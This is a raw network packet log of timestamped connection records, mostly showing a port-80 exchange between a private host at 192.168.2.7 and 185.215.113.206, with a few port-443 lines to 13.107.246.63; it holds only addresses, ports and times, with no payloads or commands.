Dec 7, 2024 18:26:52.432019949 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.432147026 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.432184935 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.433013916 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.433053017 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.433168888 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.433202982 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.434040070 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.434079885 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.434168100 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.434201002 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.435097933 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.435147047 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.435209990 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.435250044 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.436202049 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.436247110 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.436338902 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.436392069 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.437222958 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.437268972 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.437387943 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.437428951 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.438292980 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.438335896 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.438395023 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.438433886 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.439395905 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.439440012 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.439502001 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.439558029 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.440426111 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.440469980 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.440583944 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.440623045 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.441499949 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.441541910 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.512305021 CET	443	49808	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:52.513103008 CET	49808	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:52.513125896 CET	443	49808	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:52.513570070 CET	49808	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:52.513573885 CET	443	49808	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:52.516041994 CET	443	49807	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:52.516283989 CET	49807	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:52.516319990 CET	443	49807	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:52.516598940 CET	49807	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:52.516603947 CET	443	49807	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:52.546596050 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.546701908 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.546745062 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.546807051 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.547178984 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.547224998 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.547336102 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.547379971 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.548197031 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.548240900 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.548402071 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.548484087 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.549335003 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.549380064 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.549527884 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.549573898 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.550441027 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.550528049 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.550565958 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.550631046 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.551455021 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.551503897 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.551542044 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.551588058 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.552490950 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.552536011 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.552613974 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.552659988 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.553564072 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.553608894 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.553687096 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.553728104 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.554625988 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.554670095 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.554795027 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.554835081 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.555690050 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.555732012 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.555895090 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.555943966 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.556771994 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.556817055 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.556940079 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.556977034 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.557848930 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.557892084 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.557955980 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.557996988 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.558887959 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.558931112 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.559005022 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.559046984 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.559998989 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.560039997 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.560071945 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.560113907 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.561134100 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.561186075 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.561325073 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.561368942 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.562069893 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.562114000 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.562216997 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.562258959 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.563296080 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.563329935 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.563342094 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.563364029 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.564224005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.564275026 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.564380884 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.564421892 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.565284014 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.565326929 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.565403938 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.565444946 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.566360950 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.566402912 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.566469908 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.566509962 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.567425966 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.567467928 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.567538977 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.567579031 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.568501949 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.568543911 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.568612099 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.568655968 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.569535017 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.569576979 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.569606066 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.569644928 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.609730959 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.609795094 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.609824896 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.609869957 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.673460960 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.673538923 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.673548937 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.673603058 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.673991919 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.674072027 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.674098015 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.674161911 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.675039053 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.675112009 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.675112963 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.675170898 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.675817013 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.675863028 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.675920010 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.675960064 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.676841021 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.676887035 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.677045107 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.677092075 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.677927017 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.677970886 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.678051949 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.678092003 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.678972960 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.679016113 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.679157019 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.679210901 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.680068016 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.680113077 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.680207014 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.680248022 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.681143999 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.681185961 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.681351900 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.681394100 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.682226896 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.682270050 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.682312012 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.682363987 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.683264971 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.683307886 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.683470011 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.683511972 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.684345007 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.684387922 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.684437037 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.684478998 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.685373068 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.685415983 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.685592890 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.685637951 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.686547995 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.686590910 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.686728954 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.686774969 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.687517881 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.687561035 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.687731981 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.687773943 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.688587904 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.688633919 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.688745975 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.688788891 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.689671993 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.689724922 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.689857006 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.689903975 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.690731049 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.690773010 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.690864086 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.690906048 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.691798925 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.691843033 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.691901922 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.691941977 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.692862034 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.692910910 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.692980051 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.693022013 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.693931103 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.693974972 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.694133043 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.694175959 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.695050955 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.695100069 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.695204020 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.695247889 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.696058989 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.696104050 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.696238995 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.696279049 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.697119951 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.697165966 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.697365046 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.697408915 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.698208094 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.698259115 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.802434921 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.802525997 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.802536011 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.802573919 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.803016901 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.803061962 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.803149939 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.803185940 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.804028034 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.804075003 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.804173946 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.804214954 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.805146933 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.805191040 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.805301905 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.805344105 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.806155920 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.806199074 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.806314945 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.806356907 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.807216883 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.807259083 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.807352066 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.807391882 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.808324099 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.808367968 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.808502913 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.808543921 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.809403896 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.809444904 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.809601068 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.809643030 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.810518026 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.810558081 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.810714960 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.810758114 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.811475992 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.811515093 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.811633110 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.811672926 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.812536001 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.812577009 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.812635899 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.812675953 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.813590050 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.813631058 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.813817978 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.813858986 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.815095901 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.815138102 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.815331936 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.815375090 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.815773010 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.815813065 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.816004992 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.816050053 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.816788912 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.816831112 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.816975117 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.817015886 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.817869902 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.817910910 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.817982912 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.818023920 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.818914890 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.818954945 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.819040060 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.819082022 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.819991112 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.820030928 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.820216894 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.820259094 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.821115017 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.821155071 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.821218967 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.821254969 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.822158098 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.822196960 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.822266102 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.822305918 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.823210955 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.823262930 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.823344946 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.823385000 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.824270964 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.824315071 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.824371099 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.824424982 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.825330973 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.825371027 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.825527906 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.825570107 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.826462984 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.826503038 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.826567888 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.826610088 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.827493906 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:52.827534914 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:52.929045916 CET	80	49786	185.215.113.206	192.168.2.7
